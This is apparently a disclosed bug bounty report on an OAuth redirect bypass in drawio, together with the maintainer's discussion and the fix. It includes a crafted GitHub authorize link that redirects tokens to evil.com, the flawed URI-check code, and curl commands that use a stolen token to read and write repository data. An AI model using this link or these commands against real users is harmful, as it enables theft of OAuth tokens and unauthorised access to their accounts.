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Leakage of third-party OAuth token via redirect in jgraph/drawio

Valid

Reported on

May 14th 2022

Description

The application allows the usage of third-parties to store the files, such as Google Drive, Github, Gitlab, etc. It's possible to bypass the protection of the redirect parameter and redirect the user and the OAuth token to an attacker controlled site.

Proof of Concept

  1. An attacker creates an third-party authorize link, such as :

https://github.com/login/oauth/authorize?client_id=Iv1.98d62f0431e40543&state=cId%3DIv1.98d62f0431e40543%26domain%3Dapp.diagrams.net%26redirect%3dhttps%3a%2f%2f%20%40evil.com%2f%26token%3Dplrpdrqccuavr39ta3h5bcmjoghhk2le7tdiflbm3ljpe4tdqj

The state parameter is altered to have the malicious redirect

&redirect=https:// @evil.com/

Note the space %20 after https://

  1. The attacker sends the victim the link and the victim authorize it, thinking it's from drawio.

  2. When the victim is redirected back to drawio, the redirect parameter inside the state will be parsed and checked

successRedirect = stateVars.get("redirect");

//Redirect to a page on the same domain only (relative path)
if (successRedirect != null && isAbsolute(successRedirect))
{
                    successRedirect = null;
}

The isAbsolute function is defined as :

    public static boolean isAbsolute(String url)
    {
        if (url.startsWith("//"))  // //www.domain.com/start
        {
            return true;
        }
    
        if (url.startsWith("/")) // /somePage.html
        {
            return false;
        }
    
        boolean result = false;
    
        try 
        {
            URI uri = new URI(url);
            result = uri.isAbsolute();
        }
        catch (URISyntaxException e) {} //Ignore
    
        return result;
    }

The bypass occurs on the try/catch, if the redirect value is an invalid URI it will return false and allow the redirect. The problem is that ,although invalid, https:// @evil.com/ will be accepted by the browser and the user will be redirected to evil.com .

HTTP RESPONSE

HTTP/2 302 Found
Date: Sat, 14 May 2022 04:08:37 GMT
Content-Type: text/html
Location: https:// @evil.com/#%7B%22access_token%22%3A%22ghu_eEEIwuwg1GN1FwidVj4TS4pAa8plEc02asJs%22%2C%22expires_in%22%3A28800%7D
Set-Cookie: auth-state= ;path=/github2; expires=Thu, 01 Jan 1970 00:00:00 UTC; Secure; HttpOnly; SameSite=none
Set-Cookie: auth-tokenIv1.98d62f0431e40543=ghr_MRUNjYWPUiKUDKFlQTxcT6442q0L6l6LdWcKf9XBqeYZV3bYYhMyaX6fYJV8kuKk1WRO6Y4gQHzK; Max-Age=31536000;path=/github2; Secure; HttpOnly; SameSite=none
X-Cloud-Trace-Context: 766df5ad8123a0fa5701fc92aec830d4
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 70b0c6119831273d-FOR

Note the Location header.

I wasn't able to reproduce the vulnerability on the main website because if the IS_GAE variable is True the application will check the authentication state via the cookies :

            //Non GAE runtimes are excluded from state check. TODO Change GAE stub to return null from CacheFactory
            else if (IS_GAE && (stateToken == null || !stateToken.equals(cookieToken)))
            {
                response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
            }

Impact

An attacker can leak the OAuth Tokens of third-party applications and access everything drawio would have access.

We are processing your report and will contact the jgraph/drawio team within 24 hours. a year ago
David Benson
a year ago

Maintainer

Hi, thanks for the feedback. All OAuth tokens are domain restricted, so how would a third-party domain be able to utilise them in a PoC?

Caio Lüders
a year ago

Researcher

You can just make a request to the API, github por example :

$ curl -H "Accept: application/vnd.github.v3+json" -i -H "Authorization: token ghu_bp9VICTIM_TOKENn5s" https://api.github.com/user
HTTP/2 200
server: GitHub.com
date: Sun, 15 May 2022 17:26:11 GMT
content-type: application/json; charset=utf-8
content-length: 1353
cache-control: private, max-age=60, s-maxage=60
vary: Accept, Authorization, Cookie, X-GitHub-OTP
etag: "da143f3d8e6680f341dd3c640e282f874398c576979b2bf10eb0c0854001396c"
last-modified: Sat, 14 May 2022 03:26:15 GMT
x-oauth-scopes:
x-accepted-oauth-scopes:
x-oauth-client-id: Iv1.98d62f0431e40543
github-authentication-token-expiration: 2022-05-16 01:07:49 UTC
x-github-media-type: github.v3; format=json
x-ratelimit-limit: 5000
x-ratelimit-remaining: 4976
x-ratelimit-reset: 1652637684
x-ratelimit-used: 24
x-ratelimit-resource: core
access-control-expose-headers: ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset
access-control-allow-origin: *
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin
content-security-policy: default-src 'none'
vary: Accept-Encoding, Accept, X-Requested-With
x-github-request-id: ...

{
  "login": "caioluders",
  "id": ...,
  "node_id": "...",
  "avatar_url": "https://avatars.githubusercontent.com/u/2964660?v=4",
  "gravatar_id": "",
  "url": "https://api.github.com/users/caioluders",
  "html_url": "https://github.com/caioluders",
  "followers_url": "https://api.github.com/users/caioluders/followers",
  "following_url": "https://api.github.com/users/caioluders/following{/other_user}",
  "gists_url": "https://api.github.com/users/caioluders/gists{/gist_id}",
  "starred_url": "https://api.github.com/users/caioluders/starred{/owner}{/repo}",
  "subscriptions_url": "https://api.github.com/users/caioluders/subscriptions",
  "organizations_url": "https://api.github.com/users/caioluders/orgs",
  "repos_url": "https://api.github.com/users/caioluders/repos",
  "events_url": "https://api.github.com/users/caioluders/events{/privacy}",
  "received_events_url": "https://api.github.com/users/caioluders/received_events",
  "type": "User",
  "site_admin": false,
  "name": "Caio Lüders",
  "company": null,
  "blog": "https://lude.rs/",
  "location": "Brazil",
  "email": null,
  "hireable": null,
  "bio": null,
  "twitter_username": "caioluders",
  "public_repos": 41,
  "public_gists": 33,
  "followers": 131,
  "following": 45,
  "created_at": "2012-12-04T19:27:56Z",
  "updated_at": "2022-05-14T03:26:15Z"
}
We have contacted a member of the jgraph/drawio team and are waiting to hear back a year ago
David Benson
a year ago

Maintainer

Thanks for the clarification. Why is the effect on the server integrity high in this case?

David Benson
a year ago

Maintainer

Also, why is the scope changed?

Caio Lüders
a year ago

Researcher

Hi David,

My thought process was :

  1. The attacker can edit the user's file and this impact his integrity. Altho isn't for all users, maybe it's Low because of that.
  2. The Scope is changed because it impacts the authorization of an third-party and not only drawio

I hope that helps, CVSS it's always very debatable and kinda subjective. Thanks (:

David Benson
a year ago

Maintainer

Thanks. My understanding on integrity is that relates to the integrity of the original system, which is unaffected in this case. Yes, the scope change is correct, since it's another system that would be affected. It is a tricky one to score, since if you could edit a Github file, there is some integrity effect. I'll mark as low as a balance.

Do you have a specific PoC that uses the token to write to Github?

David Benson modified the Severity from Critical (9.3) to High (8.2) a year ago
David Benson
a year ago

Maintainer

Or even a read of a Github file in a private directory?

Caio Lüders
a year ago

Researcher

Hi , sorry for the delay.

  1. After the malicious redirect to get the token, the attacker redirects the user back to https://github.com/apps/draw-io-app , the user then proceeds to install the drawio application on his github normally, nothing suspicious is showed.
  2. After the installation the attacker can just make a request to the Github API, such as
$ curl -X PUT -H "Authorization: token ghu_USER_TOKEN" -H "Accept: application/vnd.github.v3+json" https://api.github.com/repos/caioluders/arcane_silicon/contents/test.txt --data-binary $'{\"path\":\"test.txt\",\"branch\":\"main\",\"message\":\"test\",\"content\":\"dGVzdA==\"}'
{
  "content": {
    "name": "test.txt",
    "path": "test.txt",
    "sha": "30d74d258442c7c65512eafab474568dd706c430",
    "size": 4,
    "url": "https://api.github.com/repos/caioluders/arcane_silicon/contents/test.txt?ref=main",
    "html_url": "https://github.com/caioluders/arcane_silicon/blob/main/test.txt",
    "git_url": "https://api.github.com/repos/caioluders/arcane_silicon/git/blobs/30d74d258442c7c65512eafab474568dd706c430",
    "download_url": "https://raw.githubusercontent.com/caioluders/arcane_silicon/main/test.txt",
    "type": "file",
    "_links": {
      "self": "https://api.github.com/repos/caioluders/arcane_silicon/contents/test.txt?ref=main",
      "git": "https://api.github.com/repos/caioluders/arcane_silicon/git/blobs/30d74d258442c7c65512eafab474568dd706c430",
      "html": "https://github.com/caioluders/arcane_silicon/blob/main/test.txt"
    }
  },
  "commit": {
    "sha": "6bd0d10e92017198d2dab973c9736b9dfe1c588c",
    "node_id": "C_kwDOFvBm-9oAKDZiZDBkMTBlOTIwMTcxOThkMmRhYjk3M2M5NzM2YjlkZmUxYzU4OGM",
    "url": "https://api.github.com/repos/caioluders/arcane_silicon/git/commits/6bd0d10e92017198d2dab973c9736b9dfe1c588c",
    "html_url": "https://github.com/caioluders/arcane_silicon/commit/6bd0d10e92017198d2dab973c9736b9dfe1c588c",
    "author": {
      "name": "Caio Lüders",
      "email": "caioluders@users.noreply.github.com",
      "date": "2022-05-17T19:23:36Z"
    },
    "committer": {
      "name": "Caio Lüders",
      "email": "caioluders@users.noreply.github.com",
      "date": "2022-05-17T19:23:36Z"
    },
    "tree": {
      "sha": "4aa7db8299d5c78c4120fc85594b558604223e23",
      "url": "https://api.github.com/repos/caioluders/arcane_silicon/git/trees/4aa7db8299d5c78c4120fc85594b558604223e23"
    },
    "message": "test",
    "parents": [
      {
        "sha": "a5b5cbc81199fc30512a5b7483c4f773e98da2c6",
        "url": "https://api.github.com/repos/caioluders/arcane_silicon/git/commits/a5b5cbc81199fc30512a5b7483c4f773e98da2c6",
        "html_url": "https://github.com/caioluders/arcane_silicon/commit/a5b5cbc81199fc30512a5b7483c4f773e98da2c6"
      }
    ],
    "verification": {
      "verified": false,
      "reason": "unsigned",
      "signature": null,
      "payload": null
    }
  }
}
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
David Benson validated this vulnerability a year ago
Caio Lüders has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
David Benson
a year ago

Maintainer

18.0.7 release contains the fix, https://github.com/jgraph/drawio/commit/c63f3a04450f30798df47f9badbc74eb8a69fbdf

David Benson marked this as fixed in 18.0.7 with commit c63f3a a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
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